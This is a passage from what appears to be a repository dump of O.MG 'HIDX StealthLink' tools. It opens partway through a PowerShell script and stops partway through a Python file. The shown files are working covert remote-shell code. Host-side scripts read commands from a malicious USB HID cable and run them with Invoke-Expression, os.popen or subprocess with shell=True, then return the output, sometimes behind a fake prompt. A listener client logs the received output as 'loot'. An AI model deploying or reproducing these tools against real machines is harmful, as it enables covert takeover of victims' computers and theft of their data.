($wmidev.GetPropertyValue('DeviceID') -match ($OMG) -and ($null -eq $wmidev.GetPropertyValue('Service'))) {\n                $devicestring = ([char]92+[char]92+'?'+[char]92 + $wmidev.GetPropertyValue('DeviceID').ToString().Replace([char]92,[char]35) + [char]35+'{4d1e55b2-f16f-11cf-88cb-001111000030}') #GUID_DEVINTERFACE_HID\n            }\n        }\n        return $devicestring\n    }\n\n    #Split and Write message to filehandle\n    Function Send-Message(){\n        #Convert output to bytes\n        $outputBytes = [System.Text.Encoding]::ASCII.GetBytes($output + \"> \") #Sending fake prompt to mimic a proper shell\n        $outputLength = $outputBytes.Length\n        #Send output bytes to omg\n        $outputChunkSize = 8 # Kept at 8 for best experience\n        $outputChunkNr = [Math]::Ceiling($outputLength / $outputChunkSize)\n\n        #Verbosity message\n        if ($VerbosePreference -eq 'Continue') {\n            Write-Host -ForegroundColor green \"[+]Output of $($outputLength) bytes ready to send in $($outputChunkNr) packets.\"\n        }\n\n        $messageSendTime = Get-Date\n        for ($i = 0; $i -lt $outputChunkNr; $i++) {\n            $outputBytesToSend = New-Object Byte[] (65)\n            $outputStart = $i * $outputChunkSize\n            $outputEnd = [Math]::Min(($i + 1) * $outputChunkSize, $outputLength)\n            $outputChunkLen = $outputEnd - $outputStart\n            [System.Buffer]::BlockCopy($outputBytes, $outputStart, $outputBytesToSend, 1, $outputChunkLen) # Copy the chunk to the packet\n            if ($VerbosePreference -eq 'Continue') {\n                $currentTime = Get-Date\n                $timeDifference = $currentTime - $messageSendTime\n                Write-Host -ForegroundColor yellow \"[?]Message ready to send after $($timeDifference)...\"\n                $messageSendTime=$currentTime\n                $outputBytesToSend | Format-Hex\n            }\n            $filehandle.Write($outputBytesToSend, 0, 65)\n\n        }\n    }\n    \n    \n    CreateBinding\n    #Find O.MG device\n    $devicestring = Get-OMGDevice\n    #Verify device - error checking\n    if($null -eq $devicestring){\n        $loop=$false\n        Write-Host -ForegroundColor red \"[!]Error: No O.MG Device not found! Check VID/PID\"\n        $loop=$false\n        break\n    }\n    #Verify device - open device\n    Write-Host -ForegroundColor Green \"[+]Identified O.MG Device: ${devicestring}\"\n    $filehandle = [omg.hidx]::open($devicestring)\n    #Verify filehandle \n    if($null -eq $filehandle){\n        $loop=$false\n        Write-Host -ForegroundColor red \"[!]Error: Filehandle is empty\"\n        break\n    }\n    \n\n    #Message on initial connection\n    $output = \"[+]Stealth Link Session Established!`n\"\n                \n    #Sending message on initial connection\n    Write-Host -ForegroundColor Cyan \"[*]Sending Connection Prompt to ${devicestring}\"\n    Send-Message\n\n    #Starting loop for birectional connection\n    $loop=$true\n    while ($loop) {\n        try {\n                #Find O.MG device\n                $devicestring = Get-OMGDevice\n                #Verify device - error checking\n                if($null -eq $devicestring){\n                    $loop=$false\n                    Write-Host -ForegroundColor red \"[!]Error: No O.MG Device not found! Check VID/PID\"\n                    $loop=$false\n                    break\n                }\n                #Verify device - open device\n                Write-Host -ForegroundColor Green \"[+]Connected O.MG Device: ${devicestring}\"\n                $filehandle = [omg.hidx]::open($devicestring)\n                #Verify filehandle \n                if($null -eq $filehandle){\n                    $loop=$false\n                    Write-Host -ForegroundColor red \"[!]Error: Filehandle is empty\"\n                    break\n                }\n                $in = \"\"\n                Do {\n                    Write-Host -ForegroundColor Green \"[+]Ready to receive commands...\"\n                    echo $filehandle.Length\n                    echo $filehandle.BytesToRead\n                    $byte = [byte[]]::new(10)\n                    #Read bytes from omg\n                    $bytes = New-Object Byte[] (65)\n                    $filehandle.Read($bytes, 0, 65) | Out-Null\n                    #Split and display received command\n                    foreach ($byte in $bytes) {\n                        $input_raw = [System.Convert]::ToChar($byte)\n                        if (($input_raw -ge 32 -and $input_raw -le 126) -or $input_raw -eq 10) {\n                            $in = \"${in}${input_raw}\"\n                            #If using verbose, display split commands\n                            if ($VerbosePreference -eq 'Continue') {\n                            Write-Host \"Command Parts: ${byte} / $in\"\n                            }\n\n                        }\n                    }\n                } While (!$in.Contains(\"`n\")) #Execute on new-line\n                Try {\n                    if ($VerbosePreference -eq 'Continue') {\n                        Write-Host -ForegroundColor Green \"[+]Executed command: $in\"\n                        $in | Format-Hex\n                    }\n                    $output = Invoke-Expression $in|Out-String\n                    #If output is empty return fake prompt\n                    if ($output -eq '') {\n                        if ($VerbosePreference -eq 'Continue') {\n                            $output = \"[+]Command successful!`n\" #If verbose is set, return additional message\n                        } else {\n                            $output = \"`n\"\n                        }\n                    }\n\n                } Catch {\n                    $output = Echo \"[!]Error: The command was not recognized as the name of a cmdlet, a function, a script file or an executable program.\"|Out-String #Error message send to receiver\n                    Write-Host -ForegroundColor red \"[!]Error: Unable to run: $in\" #Error message in console\n                }\n\n            #Sending Message to OMG Device\n            Send-Message\n\n            $filehandle.Close()\n        }\n        catch {\n            if ($VerbosePreference -eq 'Continue') {\n                Write-Host -ForegroundColor red \"[!]Error occurred, ${tries} remain\"\n            }\n            echo $Error\n            if($tries -le 0){\n                Write-Host -ForegroundColor red \"[!]Fatal error, tries exhausted must stop\"\n                $loop=$false\n                $filehandle.Close()\n                break\n            } else {\n                $tries = $tries - 1\n            }\n        }\n    }\n} \n"
  },
  {
    "path": "tools/HIDX/python/hidxshell.py",
    "content": "# NOTE: This is a POC only\n# This has certain limitations on size of packets and writes\n# You may need root access to use this.\n# mischief gadgets, wasabi 2023\n\n# This is a POC\n# X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\n\n\n##### \n##### NOTE: THIS REQUIRES pyusb and libusb (either via pip3 install libusb_package or libusb1.0 library on your system)\n#####\n\nimport os\nimport sys\nimport string\nimport select\nimport pkgutil\nimport usb.core as uc\nimport usb.util as uu\nimport importlib\nimport argparse\n\nfrom datetime import datetime\n\n# CHANGE THESE TO YOUR CABLES VID AND PID\n\nfrom pprint import pprint\n\nclass HIDX():\n    def __init__(self,vid=None,pid=None,debug=False,sbuff=8,rbuff=8):\n        # device information and endpoints\n        self.vid = None\n        self.pid = None\n        self.int = None\n        self.dev = None\n        self.dev_backend = None\n        self.reattach = False\n        self.cfg = None\n        self.debug = debug\n        # set sizes\n        self.read_buff_size = rbuff\n        self.write_buff_size = sbuff\n        # code handlers for errors and messages\n        self.send_buff = []\n        self.recv_buff = []\n        self.read_errors = 0\n        self.write_errors = 0\n        # start things if we need...\n        if vid and pid:\n            setup = self.setup_dev(vid=vid,pid=pid)\n            self.vid = vid\n            self.pid = pid\n            if self.debug:\n                self.find_devs()\n            if not setup:\n                print(\"Failed to initalize.\")\n                sys.exit(1)         \n        else:\n            print(\"No VID or PID Provided\")\n            self.find_devs()\n            \n        \n    def display_dev(self,vid=None,pid=None):\n        if not vid and not pid:\n            hvid = hex(self.vid)\n            hpid = hex(self.pid)\n        else:\n            hvid = hex(vid)\n            hpid = hex(pid)\n        return f\"VendorID={hvid} ({vid}), ProductID={hpid} ({pid}). [R:{self.read_buff_size}/S:{self.write_buff_size}]\"\n\n\n    def do_cmd(self,cmd):\n      debug_send = False\n      if debug_send:\n         print(f\"CMD = {cmd}\")\n         dt = datetime.now().strftime(\"%M:%S.%f\")\n         user_input = f\"HST {dt}\\n\"\n         return user_input\n      else:\n         c = os.popen(cmd)\n         r = c.read()\n      return r\n    \n    def find_devs(self):\n        dev = None\n        try:\n            dev = uc.find(find_all=True)\n            self.dev_backend = \"pyusb\"\n        except uc.NoBackendError:\n            if pkgutil.find_loader('libusb_package'):\n                libusb_package = importlib.import_module('libusb_package')\n                self.dev_backend = \"libusb_package\"\n                dev = libusb_package.find(find_all=True)\n            else:\n                print(\"No suitable backend was found. Attempted to use libusb (pyusb) and libusb_package+pyusb. \")\n                return False\n        if dev:\n            print(\"Detecting Available USB Devices:\")\n            for cfg in dev:\n                print('\\tUSB Device Found: VendorID=' + hex(cfg.idVendor) + ' & ProductID=' + hex(cfg.idProduct) + '\\n')\n            print(\"\\n\")\n        else:\n            print(\"Unable to enumerate available USB Devices. Likely permissions issues!\")\n    \n    def setup_dev(self,vid,pid):\n        dev = None\n        dev_id = self.display_dev(vid,pid)\n        if self.debug:\n            print(f\"Attempting to find Device: {dev_id}\")\n        try:\n            dev = uc.find(idVendor=vid, idProduct=pid)\n            pprint(dev)\n            self.dev_backend = \"pyusb\"\n            if self.debug:\n                print(\"Using pyusb+libusb\")\n        except uc.NoBackendError:\n            if pkgutil.find_loader('libusb_package'):\n                libusb_package = importlib.import_module('libusb_package')\n                self.dev_backend = \"libusb_package\"\n                dev = libusb_package.find(idVendor=vid, idProduct=pid)\n                if self.debug:\n                    print(\"Using pyusb+lisbusb_package\")\n            else:\n                print(\"No suitable backend was found. Attempted to use libusb (pyusb) and libusb_package+pyusb. \")\n                return False\n        if not dev:\n            print(f\"Could not find device: {dev_id}\")\n            return False\n        self.reattach = False\n        try:\n            if hasattr(dev,\"is_kernel_driver_active\") and dev.is_kernel_driver_active(2):\n                self.reattach = True\n                dev.detach_kernel_driver(2)\n        except NotImplementedError:\n            pass\n        self.cfg = dev.get_active_configuration()\n        self.int = self.cfg.interfaces()[2]\n        self.dev = dev\n        print(f\"Found and Connecting to Device: {dev_id}\")\n        return True\n\n    def pad_input(self,input_str, left_pad=False, right_pad=False, chunk_size = 8):\n        if left_pad and right_pad:\n            raise Exception(\"Cannot add padding on both the left and right side!\")\n        # default to right pad\n        if not left_pad and not right_pad:\n            right_pad = True\n        padding_length = (chunk_size - (len(input_str) % chunk_size)) % chunk_size\n        padded_str = None\n        if isinstance(input_str, bytes):\n            input_str = self.decode_msg(input_str)\n        if right_pad:\n            padded_str = input_str + ' ' * padding_length    \n        if left_pad:\n            padded_str = ' ' * padding_length + input_str\n        return padded_str\n\n    def split_output(self,message,chunk_size=8):\n        chunks = []\n        for i in range(0,len(message),chunk_size):\n            raw_message = message[i:i+chunk_size]\n            padded_message = self.pad_input(raw_message,right_pad=True)\n            chunks.append(padded_message)\n        return chunks\n    \n\n    def write(self,msg=None, buffer_limit=8):\n        endpoint = self.int.endpoints()[1]\n        error = False\n        start_buffer_size = len(self.send_buff)\n        write_bytes = 0\n        if msg:\n            self.send_buff=self.send_buff+self.split_output(bytes(msg,'utf-8'),chunk_size=buffer_limit)\n        if self.debug:\n           print(f\"Msg:{msg} = {self.send_buff}\")\n        if len(self.send_buff)>0:\n            try:\n                part = b\"\"\n                if len(self.send_buff)>0:\n                    part = self.send_buff.pop(0)\n                endpoint.write(part)\n                write_bytes = len(part)\n                end_buffer_size = len(self.send_buff)\n                if self.debug:\n                   print(f\"Write Buffer: ob:{start_buffer_size},wb:{write_bytes},eb:{end_buffer_size}\")\n            except Exception as e:\n                print(f\"Error in write, {e}\")\n                error = True\n        return error, write_bytes\n\n\n    def _read(self, buffer_limit=8,report_size=8,timeout=200):\n        endpoint = self.int.endpoints()[0]\n        res = None\n        error = False\n        raw_message = b\"\"\n        recv_packets = 0\n        recv_bytes = 0\n        try:\n            remainder = buffer_limit+report_size*2\n            while (remainder > report_size):\n                if self.debug:\n                    print(\"In _read loop...\")\n                remainder -= report_size\n                rawdata = bytes(self.dev.read(endpoint.bEndpointAddress, report_size, timeout)).rstrip(b\"\\x00\")\n                procdata = b\"\"\n                for _r in rawdata:\n                    if 32 <= _r <= 126 or _r in [10]:\n                        procdata+=chr(_r).encode()\n                raw_message+=procdata \n                recv_packets += 1\n                recv_bytes += len(rawdata)\n        except uc.USBTimeoutError:\n            pass\n        except uc.USBError:\n            print(\"Lost device, must attempt to reconnect.\")\n            #self.reattach=True\n            #self.setup_dev(self.vid,self.pid)\n            error = True\n            pass # for now so we just time out eventually\n        # do a decode\n        if recv_packets>0:\n            data_str = \"\"\n            for c in raw_message:\n                data_str += chr(c)\n            res = data_str\n        else:\n            pass\n\n        return error, recv_packets, recv_bytes, res\n        \n    def read(self, retries=1):\n        raw_message = b\"\"\n        empty_message = 0\n        error = False\n        recv_bytes=0\n        recv_packet=0\n        while retries>0:\n            if self.debug:\n                print(\"In read loop...\")\n            try:\n                error, recv_packet, recv_byte, raw_data = self._read(\n                    buffer_limit=(self.read_buff_size*4),\n                    report_size=self.read_buff_size\n                )\n                recv_bytes+=recv_byte\n                recv_packet+=recv_packet\n                if error:\n                    print(\"! Error detected in read()\")\n                    return raw_message\n                if recv_byte == 0:\n                    retries-=1\n                else:\n                    print(\"Test Byte\")\n                    raw_message+=bytes(raw_data,'utf-8')\n                    break\n            except:\n                error=True\n                retries-=1\n        if self.debug:\n            print(\"debug: listening for data\")\n        return error, recv_packet, recv_bytes, raw_message\n\n    def setWriteBuffSize(self,size):\n        self.write_buff_size = size\n        return size\n    \n    def setReadBuffSize(self,size):\n        self.read_buff_size = size\n        return size    \n\n    def decode_msg(self,data):\n        content = None\n        try:\n            content = data.decode('utf-8')\n        except UnicodeDecodeError:\n            content = data.decode('latin-1')\n        return content \n\n    def start(self,max_errors=5):\n        iter = 1\n        clear_errcnt = 0 \n        while self.write_errors < max_errors and self.read_errors < max_errors:\n            result = None\n            read_error, recv_packet, recv_bytes, raw_message = self.read()\n            \n            if self.debug:\n                print(\"In main loop...\")\n            \n            if read_error:\n                self.read_errors+=1\n            else:\n                if recv_bytes > 0 and len(raw_message)>1:\n                    commands = raw_message.decode(\"utf-8\").rstrip().replace(\"\\\\n\",\"\\n\").split(\"\\n\")\n                    for command in commands:\n                        if self.debug:\n                            print(\"In command loop...\")\n                        result = None\n                        cleaned_command = command.rstrip().replace(\"\\n\",\"\").replace(\"\\r\",\"\").rstrip().strip()\n                        if self.debug:\n                            print(f\"RECV: '{cleaned_command}'\\n\")\n                        try:\n                            result = self.do_cmd(cleaned_command)\n                        except Exception as e:\n                            print(f\"error! {e}\")\n                        if result and self.debug:\n                            print(\"Got new data!\")\n                        if result:\n                            result = result + \"\\x07\\x17\\x00\\x00\"\n                        write_error,send_bytes = self.write(result,self.write_buff_size)\n                        if write_error:\n                            self.write_errors+=1\n            result=None\n            write_error,send_bytes = self.write(result,self.write_buff_size)\n            if write_error:\n                self.write_errors+=1      \n            iter += 1\n            if (clear_errcnt > 24):\n                self.read_errors = 0\n                self.write_errors = 0\n    \n    def send(self,message,max_errors=5):\n        iter = 1\n        clear_errcnt = 0 \n        write_error,send_bytes = self.write(message,self.write_buff_size)\n        self.write_errors =+ 1\n        if self.debug:\n            print(\"Sending message: %d\" % len(message))\n        while len(self.send_buff)>0 and (self.write_errors < max_errors and self.read_errors < max_errors):\n            result = message\n            write_error,send_bytes = self.write(None,self.write_buff_size)\n            if write_error:\n                self.write_errors+=1      \n            iter += 1\n            if (clear_errcnt > 24):\n                self.read_errors = 0\n                self.write_errors = 0\n        if self.write_errors>2:\n            print(f\"Send incomplete. Total errored packets: {self.write_errors}\")\n        else:\n            print(\"Send Complete\")\n\nif __name__ == \"__main__\":\n\n    def clean_id(inmsg):\n        hexstr = \"0x\"+str(inmsg).lower().replace(\"0x\",\"\")\n        return int(hexstr,16)\n    \n\n    def read_stdin():\n        content = None\n        # to work around certain windows errors that may pop up\n        try:\n            if not sys.stdin.isatty():\n                data = sys.stdin.buffer.read().strip()\n                if data:\n                    try:\n                        # Try decoding using 'utf-8'\n                        content = data.decode('utf-8')\n                    except UnicodeDecodeError:\n                        # If 'utf-8' decoding fails, try 'latin-1'\n                        content = data.decode('latin-1')\n        except:\n            pass\n        return content  \n        \n    parser = argparse.ArgumentParser(description=\"HIDUniversal Tool\")\n\n    parser.add_argument(\"--vid\", type=str, default=\"0xd3c0\", help=\"Specify vid parameter\")\n    parser.add_argument(\"--pid\", type=str, default=\"0xd34d\", help=\"Specify pid parameter\")\n    parser.add_argument(\"--debug\", action=\"store_true\", help=\"Enable debug mode\")\n    parser.add_argument(\"--readbuff\", type=int, help=\"Specify read buffer size\",default=8)\n    parser.add_argument(\"--sendbuff\", type=int, help=\"Specify send buffer size\",default=8)\n\n    args = parser.parse_args()\n    debug = False\n    if args.debug:\n        debug=True\n        print(\"Starting Up...\")\n    \n    hdx = HIDX(vid=clean_id(args.vid),pid=clean_id(args.pid),rbuff=int(args.readbuff),debug=debug,sbuff=int(args.sendbuff))\n    stdin_data = read_stdin()\n    if stdin_data:\n        if debug:\n           print(\"In STDIN Mode\")\n        hdx.send(stdin_data)\n    else:\n        if debug:\n            print(\"In Interactive Shell Mode\")\n        hdx.start()\n"
  },
  {
    "path": "tools/HIDX/python/linux-nativeshell.py",
    "content": "# NOTE: This is a POC only\n# This has certain limitations on size of packets and writes\n# You may need root access to use this.\n\n# This is a POC\n# X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\n\nimport os,sys,time\nfrom textwrap import wrap\n\n# set these\n \nhidx_device = None\ntransmission_delay = 1 # in seconds, 0 disables\nmax_message_size = 48 # bytes\n\n# don't do things past here\n\n\ndef do_cmd(cmd):\n    c = os.popen(cmd)\n    r = c.read()\n    return r\n\n# trick found by 01phor1e\ndef get_linux_dev():\n    cmd = \"dmesg|grep hidraw|grep hiddev|grep input2|tail -n1|awk -F ',' '{print $2}'|awk -F ':' '{print $1}'\"\n    try:\n        r = str(do_cmd(cmd)).strip()\n        return r\n    except:\n        return None\n\n# trick found by 01phor1e\ndef debug_linux_dev():\n    cmd = \"dmesg|grep hidraw|grep hiddev|grep input2\"\n    try:\n        r = str(do_cmd(cmd)).strip()\n        return r\n    except:\n        return \"No DMESG output identified\"\n\ndef debug_linux(fd):\n    print(\"===== Debug: DMESG =====\")\n    debug_linux_dev()\n    print(\"Found Device at Location: %s\"%get_linux_dev())\n    print(\"===== Debug: FD INFO =====\")\n    if fd is None:\n        print(\"FD Error, no FD\")\n    else:\n        print(os.stat(fd))\n        print(os.fstat(fd))\n        print(os.lstat(fd))\n    print(\"===== End Debug =====\")\n\ndef chunk_cmd(result):\n    def chunk(o):\n        r = str(result)\n        s = sys.getsizeof(o)\n        if s>max_message_size:\n            queued_cmds.extend(wrap(r,max_message_size-1))\n        else:\n            queued_cmds.append(r)\n    if isinstance(result, list) or isinstance(result, tuple):\n        for line in result:\n            chunk(line)\n    else:\n        chunk(result)\n\nraw_dev = get_linux_dev()\nif raw_dev is not None:\n    hidx_device = \"/dev/\"+raw_dev\nelse:\n    if len(sys.argv) < 2:\n        print(\"error provide hid device\")\n        sys.exit(1)\n    else:\n        hidx_device = sys.argv[1]\n\nqueued_cmds = []\nhs = os.open(hidx_device, os.O_RDWR)\n\nrun = True\ncmd = \"\"\ntries = 16\nwhile tries>1:\n    print(\"Ready\")\n    try:\n        print(\"In Listener\")\n        while run:\n            print(\"Running...\")\n            try:\n                debug_linux(hs)\n            except:\n                print(\"HID FD is unreadable\")\n            debug_linux(hidx_device)\n            if hs is None:\n                print(\"Opening Socket...\")\n                hs = os.open(hidx_device, os.O_RDWR)\n            else:\n                print(\"Reusing Socket...\")\n            r = os.read(hs,int(max_message_size))\n            if \"\\n\" in cmd:\n                # have a command\n                print(\"Attempting to run cmd: '%s'\"%cmd)\n                print(\"Result from cmd is %d\"%len(queued_cmds))\n                chunk_cmd(do_cmd(cmd))\n                cmd = \"\"\n                if len(queued_cmds)>0:\n                    for queued_cmd in queued_cmds:\n                        queued_cmd = queued_cmd+\"\\n\"\n                        os.write(hs,bytearray(queued_cmd.encode(\"utf-8\")))\n                        if transmission_delay>0:\n                            time.sleep(transmission_delay)\n                queued_cmds = []\n            else:\n                cmd += r.decode(\"utf-8\")\n    except OSError as e:\n        print(\"Error with socket, you have %d tries remaining\"%tries)\n        time.sleep(5)\n        try:\n            if hs is not None:\n                os.close(hs)\n                try:\n                    debug_linux(hs)\n                except:\n                    print(\"HID FD is unreadable\")\n                debug_linux(hidx_device)\n        except:\n            print(\"Socket already closed\")\n        print(e)\n        tries-=1\n"
  },
  {
    "path": "tools/HIDX/python/stealthlink-client-universal.py",
    "content": "#Name: Stealth-client-universal.py\n#Author: Wasabi (@spiceywasabi)\n#Acknowledgments: Ø1(@01p8or13)\n#Required Dependencies: Python3, Network connectivity to O.MG device\n\n#Description:\n\"\"\"\nThis Python-script acts as a listener for HIDX Stealthlink, mainly the PoCs provided under:\n- https://github.com/O-MG/O.MG-Firmware/blob/stable/tools/HIDX/powershell/win-hidshell.ps1\n- https://github.com/O-MG/O.MG-Firmware/blob/stable/tools/HIDX/python/stealthlink-host-universal.py\n\nConfiguration in lines 49 - 52\n\"\"\"\n\n# current issues:\n\"\"\" \n- %quit not closing as intended. CTRL +C required\n\n-  input prompt may return before content is finished so you will see things like\n$whoami\n$root\nif you want to fix this easily, just hit another enter as soon as you send a message\n\n- the universal client + universal python target code are slower than native or powershell\n\n- ascii characters are primarily *only* supported, other characters may be stripped\n\n- recvlog doesn't buffer data for efficiency purposes, error checking should (and will) be added later\nthis will also fix #1\n\n- this client is currently mac or linux only due to select()\n\"\"\"\n\nimport os\nimport sys\nimport socket\nimport select\nimport logging\nimport binascii\nimport argparse\nimport threading\n\nfrom datetime import datetime\nfrom time import sleep\nfrom pprint import pprint\n\n# X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\n\n## These can be set but aren't meant to be changed regularly.\nremote_prompt = True # Assume that prompt gets received from host - Set to true for Powershell usage\nnowait = True # wait or not wait for end of message control characters \ndelay = None # delay between messages (0.2-0.5 is fine) default to None\nwindows = False # enable larger buffer, ONLY meant for testing!\n\ndef non_blocking_input(prompt=\"\", timeout=5):\n    print(prompt, end='', flush=True)\n    rlist, _, _ = select.select([sys.stdin], [], [], timeout)\n    if rlist:\n        return sys.stdin.readline().strip()\n    else:\n        return None\n\ndef pad_input(input_str, left_pad=False, right_pad=False, chunk_size = 8):\n    if left_pad and right_pad:\n        raise Exception(\"[!]Cannot add padding on both the left and right side!\")\n    # default to right pad\n    if not left_pad and not right_pad:\n        right_pad = True\n    padding_length = (chunk_size - (len(input_str) % chunk_size)) % chunk_size\n    padded_str = None\n    if isinstance(input_str, bytes):\n        input_str = input_str.decode(\"utf-8\")\n    if right_pad:\n        padded_str = input_str + ' ' * padding_length    \n    if left_pad:\n        padded_str = ' ' * padding_length + input_str\n    return padded_str\n\ndef split_output(message,chunk_size=8):\n    chunks = []\n    for i in range(0,len(message),chunk_size):\n        raw_message = message[i:i+chunk_size]\n        padded_message = pad_input(raw_message,right_pad=True)\n        chunks.append(padded_message)\n    return chunks\n    \ndef recvlog(msg):\n    print(f\"{msg}\",end=\"\")\n    logger_received.info(msg)\n\ndef handle_client(client_socket,run,rts):\n    global nowait\n    no_data_count = 0\n    while run.is_set():\n        data = None\n        try:\n            data = client_socket.recv(1024).decode()\n        except OSError as e:\n            run.clear()\n            print(f\"[!]Socket Exception: {e}\")\n            break\n        # double check the data\n        if not data:\n            recvlog(\"[!]Socket has disconnected....\")\n            client_socket.shutdown(socket.SHUT_RDWR)\n            client_socket.close()\n            run.clear()\n            break\n        else:\n            if \"\\x07\\x17\" in data or nowait:\n                rts.set()\n            elif \"SH\" in data:\n                data = data.strip(\"\\n\")\n                rts.set()\n            elif data == \"\" and no_data_count>=2:\n                rts.set()\n            #print(\"Status: %s\"%str(rts.is_set()))\n            recvlog(f\"{data}\")\n    \ndef console_input(client_socket,run,rts, server_socket = None):\n    global nowait, windows, delay, remote_prompt\n    print(\"\\nHIDX StealthLink Universal Client (type '%quit' to exit)\")    \n    \n    debug_send = False\n    split_messages = True\n    while run.is_set():\n        if rts.is_set():\n            prompt_msg = \"\\r$\"\n            user_input = \"\"\n            if debug_send:\n                dt = datetime.now().strftime(\"%M:%S.%f\")\n                user_input = f\"CLI {dt}\"\n            else:\n                if remote_prompt:\n                    prompt_msg = \"\"\n                print(prompt_msg, end='', flush=True)\n                user_input = input()\n                if not user_input:\n                    continue\n                if user_input == \"%exit\" or \"%quit\" in user_input:\n                    if server_socket:\n                        server_socket.settimeout(1)\n                    #client_socket.shutdown()\n                    client_socket.close()\n                    run.clear()\n                    break\n            try:\n                raw_input = user_input + \"\\n\\x07\\x17\\00\"\n                if windows:\n                    raw_input =pad_input(raw_input,right_pad=True,chunk_size=64)\n                if logger_sent:\n                    logger_sent.info(raw_input)\n                output = None\n                if split_messages:\n                    output = split_output(raw_input)\n                    for m in output:\n                        client_socket.sendall(m.encode())\n                        if delay:\n                            sleep(float(delay))\n                else:\n                    output = padded_input.encode()\n                    client_socket.sendall(output)\n                if not nowait:\n                    rts.clear()\n            except OSError as e:\n                print(f\"[!]Socket Exception: {e}\")\n                run.clear()\n                #client_socket.shutdown()\n                client_socket.close()\n                break\n\ndef hidxcli(host, port,reuse=True):\n    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    if reuse:\n        server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    run = threading.Event()\n    run.set()\n    \n    rts = threading.Event()\n    rts.set()\n\n    try:\n        server_socket.bind((host, port))\n        server_socket.listen(1)\n        server_socket.settimeout(1) \n        print(f\"[*]Server listening on {host}:{port}\")\n        while run.is_set():\n            client_socket,addr = None,None\n            try:\n                client_socket, addr = server_socket.accept()\n                recvlog(f\"[+]O.MG Device connected from {addr[0]}:{addr[1]}\")\n                rts.set()\n            except socket.timeout:\n                pass\n            if client_socket:\n                client_thread = threading.Thread(target=handle_client, args=(client_socket,run,rts,))\n                client_thread.start()\n                console_thread = threading.Thread(target=console_input, args=(client_socket,run,rts,server_socket,))\n                console_thread.start()\n    finally:\n        print(\"[?]Attempting to close..\")\n        server_socket.shutdown(socket.SHUT_RDWR)\n        server_socket.close()\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description=\"Client\")\n    parser.add_argument(\"host\", type=str, nargs=\"?\", default=\"0.0.0.0\", help=\"address to bind to\")\n    parser.add_argument(\"port\", type=int, nargs=\"?\", default=1234, help=\"port to listen on\")\n    parser.add_argument(\"sendlog\", type=str, nargs=\"?\", help=\"message send log\")\n    parser.add_argument(\"recvlog\", type=str, nargs=\"?\", default=\"hidxrecv.log\", help=\"message receive log (for loot)\")\n    args = parser.parse_args()\n    \n    global logger_received, logger_sent\n    logger_received = logging.getLogger(\"received_data\")\n    logger_received.addHandler(logging.FileHandler(args.recvlog))\n    logger_received.setLevel(logging.INFO)\n    logger_sent = None\n    if args.sendlog:\n        logger_sent = logging.getLogger(\"sent_data\")\n        logger_sent.addHandler(logging.FileHandler(args.sendlog))\n        logger_sent.setLevel(logging.INFO)\n\n    hidxcli(args.host, args.port)\n"
  },
  {
    "path": "tools/HIDX/python/stealthlink-host-universal.py",
    "content": "# NOTE: This is a POC only\n# This has certain limitations on size of packets and writes\n# You may need root access to use this.\n# mischief gadgets, wasabi 2023\n\n##### \n##### NOTE: THIS REQUIRES pyusb and libusb (either via pip3 install libusb_package or libusb1.0 library on your system)\n#####\n\nimport os\nimport sys\nimport string\nimport select\nimport pkgutil\nimport usb.core as uc\nimport usb.util as uu\nimport importlib\nimport subprocess\nimport argparse\n\nfrom datetime import datetime\n\n# CHANGE THESE TO YOUR CABLES VID AND PID\n\nfrom pprint import pprint\n\nclass HIDX():\n    def __init__(self,vid=None,pid=None,debug=False,sbuff=8,rbuff=8):\n        # device information and endpoints\n        self.vid = None\n        self.pid = None\n        self.int = None\n        self.dev = None\n        self.dev_backend = None\n        self.reattach = False\n        self.cfg = None\n        self.debug = debug\n        # set sizes\n        self.read_buff_size = rbuff\n        self.write_buff_size = sbuff\n        # code handlers for errors and messages\n        self.send_buff = []\n        self.recv_buff = []\n        self.read_errors = 0\n        self.write_errors = 0\n        # start things if we need...\n        if vid and pid:\n            setup = self.setup_dev(vid=vid,pid=pid)\n            self.vid = vid\n            self.pid = pid\n            if self.debug:\n                self.find_devs()\n            if not setup:\n                print(\"Failed to initalize.\")\n                sys.exit(1)         \n        else:\n            print(\"No VID or PID Provided\")\n            self.find_devs()\n            \n        \n    def display_dev(self,vid=None,pid=None):\n        if not vid and not pid:\n            hvid = hex(self.vid)\n            hpid = hex(self.pid)\n        else:\n            hvid = hex(vid)\n            hpid = hex(pid)\n        return f\"VendorID={hvid} ({vid}), ProductID={hpid} ({pid}). [R:{self.read_buff_size}/S:{self.write_buff_size}]\"\n\n\n    def do_cmd(self,cmd):\n      debug_send = False\n      if debug_send:\n         print(f\"CMD = {cmd}\")\n         dt = datetime.now().strftime(\"%M:%S.%f\")\n         user_input = f\"HST {dt}\\n\"\n         return user_input\n      else:    \n         #was c = os.popen(cmd)\n         if \"cd \" in cmd:\n             try:\n                 os.chdir(cmd.split(\" \")[1])\n             except:\n                 os.chdir(os.getcwd())\n         c = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)\n         stdout_output = c.stdout\n         stderr_output = c.stderr\n         return stdout_output\n    \n    def find_devs(self):\n        dev = None\n        try:\n            dev = uc.find(find_all=True)\n            self.dev_backend = \"pyusb\"\n        except uc.NoBackendError:\n            if pkgutil.find_loader('libusb_package'):\n                libusb_package = importlib.import_module('libusb_package')\n                self.dev_backend = \"libusb_package\"\n                dev = libusb_package.find(find_all=True)\n            else:\n                print(\"No suitable backend was found. Attempted to use libusb (pyusb) and libusb_package+pyusb. \")\n                return False\n        if dev:\n            print(\"Detecting Available USB Devices:\")\n            for cfg in dev:\n                print('\\tUSB Device Found: VendorID=' + hex(cfg.idVendor) + ' & ProductID=' + hex(cfg.idProduct) + '\\n')\n            print(\"\\n\")\n        else:\n            print(\"Unable to enumerate available USB Devices. Likely permissions issues!\")\n    \n    def setup_dev(self,vid,pid):\n        dev = None\n        dev_id = self.display_dev(vid,pid)\n        if self.debug:\n            print(f\"Attempting to find Device: {dev_id}\")\n        try:\n            dev = uc.find(idVendor=vid, idProduct=pid)\n            pprint(dev)\n            self.dev_backend = \"pyusb\"\n            if self.debug:\n                print(\"Using 